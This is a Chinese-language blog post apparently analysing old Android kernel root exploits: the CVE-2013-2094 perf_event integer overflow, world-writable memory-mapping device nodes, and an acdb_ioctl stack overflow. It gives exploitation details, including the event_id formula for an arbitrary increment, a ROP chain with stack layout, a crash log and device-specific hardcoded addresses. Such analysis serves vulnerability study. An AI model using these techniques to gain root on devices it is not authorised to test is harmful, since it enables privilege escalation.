Retme的未来道具研究所

世界線の収束には、逆らえない

漏洞介绍: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-2094

http://wangcong.org/blog/archives/2274

漏洞补丁:

static int perf_swevent_init(struct perf_event *event)

{
-  int event_id = event->attr.config;
+ u64 event_id = event->attr.config;

   if (event->attr.type != PERF_TYPE_SOFTWARE)

          return -ENOENT; 

patch就这一句,乍一看很难看出有什么利用点。但是其实int 换 uint是很敏感的,很有可能是一个整数溢出,还得往下看。以下分析来源于不爱补漏洞的mtk 源码

static int perf_swevent_init(struct perf_event *event)
{
    int event_id = event->attr.config;

......
    if (event_id >= PERF_COUNT_SW_MAX)
        return -ENOENT;

    if (!event->parent) {
        int err;

        err = swevent_hlist_get(event);
        if (err)
            return err;

        static_key_slow_inc(&perf_swevent_enabled[event_id]);
        event->destroy = sw_perf_event_destroy;
    }

    return 0;
}

这里面,event_id是一个int,但是仅仅校验id是否超过最大值,如果传入一个负值,将造成 perf_swevent_enabled这个全局数组越界

但是即使越界也不一定能使用,还要看是否对越界部分的内存做了修改,但是看这个static_key_slow_inc的名字,显然是做了加法,但是还要看是怎么加的,有没有什么限制。

perf_swevent_enabled这个全局数组的成员结构,就一个4字节的结构,这个api就是单纯的+1.那么就是说,只要我们使用sys_perf_event_open这个系统调用,就能将这个值加1

struct static_key {
atomic_t enabled;
};

static inline void static_key_slow_inc(struct static_key *key)
{
    atomic_inc(&key->enabled);
}

但是要想把它利用成“任意地址写”,还要解决几个问题:

  1. 利用地址范围问题:
    对于写入小于perf_swevent_enabled的地址,可以随意构造,event_id 就是(addr - perf_swevent_enabled)/4
    对于大于perf_swevent_enabled的地址,需要加一个负数位,来绕开PERF_COUNT_SW_MAX的限制,也就是【(addr - perf_swevent_enabled)/4】 | 0x80000000

2.每个进程调用sys_perf_event_open次数的限制
因为每一次调用sys_perf_event_open,都会开一个fd,fd最大就到1000,所以要分子进程调用sys_perf_event_open,每个调用980次
另外,当fd关闭或者进程推出时,会自动调用sw_perf_event_destroy()进行释放,
这里的event_id是个u64,所以释放的时候还就没这个问题了,那么用户态的某个内存值会遭殃,这也是使用子进程的原因。

static void sw_perf_event_destroy(struct perf_event *event)
{
    u64 event_id = event->attr.config;  
    WARN_ON(event->parent);
    static_key_slow_dec(&perf_swevent_enabled[event_id]);
    swevent_hlist_put(event);
}

3.我们要修改的地方,原始地址必须是0,因为我们只能作加法,不知道修改位置的原始值,所以

可以考虑替换ptmx_fops_fsync 这个指针,这个指针为空,替换后再对ptmx调用fsync

poc实现代码可以参考 https://github.com/android-rooting-tools/android_run_root_shell 的perf_event部分


早期安卓内核漏洞经常是:某个设备被设置成了755/666之类的,造成全局可读写,然后将这些设备mmap出来,就可以操作物理内存了

比如这样的设备有:

/dev/exynos-mem CVE-2012-6422 http://forum.xda-developers.com/showthread.php?p=35469999

/dev/dhcp CVE不详

/dev/msm_camera/config0 (CVE-2013-2595)的 “MSM_CAM_IOCTL_SET_MEM_MAP_INFO” 设置,mmap物理内存

/dev/graphics/fb0 的 FBIOGET_FSCREENINFO获取信息,然后mmap物理内存

安卓某些驱动确实需要提供物理内存映射的接口,比如 /dev/exynos-mem,但是应该仅仅提供给内核使用,应用层能使用的话就坑爹了

又有一些是根本没有必要暴露这种接口,却暴露了。 比如 /dev/msm_camera/config0 ,在 https://www.codeaurora.org/projects/security-advisories/uncontrolled-memory-mapping-camera-driver-cve-2013-2595 的patch中,直接将 msm_mmap_config给注释掉了。可能是没什么用,写程序时照模板抄的?


这块代码可以在9008中招到

先看补丁:
https://www.codeaurora.org/cgit/quic/la//kernel/msm/commit/?id=32682d16fb46a60a7952c4d9e0653602ff674e4b

if ((size <= 0) || (size > sizeof(data))) {
    pr_err("%s: Invalid size sent to driver: %d\n",
    __func__, size);
    result = -EFAULT;
    goto done;
}

补丁对 ioctl 传入的data大小做了校验,如果超出MAX_IOCTL_DATA个u32的数据,直接返回失败。在我这,这个值是30*32

若不校验这个size大小,攻击者可以构造任意大小的数据,造成栈溢出,控制程序指针

if (copy_from_user(&size, (void *) arg, sizeof(size))) {

     result = -EFAULT;
     goto done;
}

if ((size <= 0) || (size > sizeof(data))) {
     pr_err("%s: Invalid size sent to driver: %d\n",__func__, size);
     result = -EFAULT;
     goto done;
}

if (copy_from_user(data, (void *)(arg + sizeof(size)), size)) { //栈溢出

     pr_err("%s: fail to copy table size %d\n", __func__, size);
     result = -EFAULT;
     goto done;
}

利用方法:

https://github.com/android-rooting-tools/android_run_root_shell

由于使用ROP,所以属于一个适配有点麻烦的漏洞了

这篇文章讲了利用方法,是一段rop https://gist.github.com/fi01/5857693

由于是日文的,简单翻译下

===================================================================

  • 原来的流程
    do_vfs_ioctl调用acdb_ioctl后返回

    do_vfs_ioctl:
    STMPW [SP], { R4-R9, LR }
    ...
    BL acdb_ioctl
    ...
    ADD SP, SP, #$44 // (2)
    LDMUW [SP], { R4-R9, PC } // (1)

  • 我们替换之后的流程

触发任意地址写的漏洞,以获得root
然后调整好正确的栈位置,最后返回(1)的流程

  • 任意地址写漏洞的触发
    acdb_ioctl其中一段,可以获得控制PC的机会。修改寄存器的位置是 (3),这里可以操作R4-PC的所有数值了。然后把R9的内容写入R5,触发成功

    acdb_ioctl:
    ...
    ADD SP, SP, #$84
    LDMUW [SP], { R4-R11, PC } // (3)

首先控制PC跳到这里(pc1)

STR R5, [R9] // (4)
LDMUW [SP], { R4-R10, PC } // (5)
  • 栈位置的修正
    执行(5)之后,为了堆栈平衡,栈要填充 4*8 字节,然后设置下一跳的PC。(pc2)
    (6)这里也要处理一下平衡堆栈,最后返回(2)那里去

    ADD SP, SP, #$24 // (6)
    LDMUW [SP], { R4-R9, PC }

  • 栈地址的替换
    实际栈的位置和p->data的位置需要硬编码适配。
    p->data[...]的値需要初始化的时候设置。
    硬编码的地址请在pc上通过崩溃的日志分析。
    p->data[i]=i 这样来试探(注:给数据标上相对偏移,方便通过栈来定位),这个例子中,PC在&p->data[0x9c]的位置。

例:

ACDB=> ACDB ioctl not found!
Unable to handle kernel paging request at virtual address 9f9e9d9c
pgd = df56c000
[9f9e9d9c] *pgd=00000000
Internal error: Oops: 80000005 [#1] PREEMPT SMP
Modules linked in:
CPU: 1 Tainted: G W (3.0.8+1.0.21100-02148-g79e6d0e #1)
PC is at 0x9f9e9d9c
LR is at acdb_ioctl+0x740/0x860
  • 设置好堆栈布局
    要確認PC原始的数值,以便正确返回

    ((unsigned int)&p->data[0x80]) = value; //r5: PC - 47
    (
    (unsigned int)&p->data[0x90]) = address; //r9: PC - 43
    ((unsigned int)&p->data[0x9c]) = (4)的地址; //pc: PC
    ((unsigned int)&p->data[0xbc]) = (6)地址; //pc: PC + 4*8

  • 为了在do_vfs_ioctl、acdb_ioctl这两个函数执行完后内核无异常,寄存器也需要适配。
    (6)那个地方stack加的数值也可能也要硬编码适配

注:本文硬编码对应

DEVICE_SO05D_7_0_D_1_137,       { 0x80, 0x90, { 0x9c, 0xc03265d8 }, { 0xbc, 0xc0524d84 } }